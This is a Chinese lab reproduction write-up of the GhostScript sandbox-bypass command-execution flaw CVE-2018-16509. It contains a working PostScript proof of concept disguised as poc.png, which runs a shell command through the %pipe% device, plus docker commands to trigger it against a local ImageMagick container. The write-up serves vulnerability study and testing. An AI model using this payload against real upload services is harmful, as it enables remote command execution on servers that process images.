GhostScript 沙箱绕过(命令执行)漏洞(CVE-2018-16509)

GhostScript 沙箱绕过(命令执行)漏洞(CVE-2018-16509)

8 月 21 号,Tavis Ormandy 通过公开邮件列表,再次指出 GhostScript 的安全沙箱可以被绕过,通过构造恶意的图片内容,将可以造成命令执行、文件读取、文件删除等漏洞:

GhostScript 被许多图片处理库所使用,如 ImageMagick、Python PIL 等,默认情况下这些库会根据图片的内容将其分发给不同的处理方法,其中就包括 GhostScript。

漏洞复现

环境启动后,访问http://192.168.44.132:8080将可以看到一个上传组件。

poc.png

1
2
3
4
5
6
7
8
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/success && cat /tmp/success) currentdevice putdeviceprops

上传poc.png,将执行命令id > /tmp/success && cat /tmp/success。此时进入容器docker-compose exec web bash,将可以看到/tmp/success已被创建:

image-20210802153333116

image-20210802153426131

你也可以使用命令行测试该漏洞:

1
docker run -it --rm --name im -v `pwd`/poc.png:/poc.png vulhub/imagemagick:7.0.8-10 convert /poc.png /poc.gif

image-20210802153156184

可见,id命令已被成功运行。

0%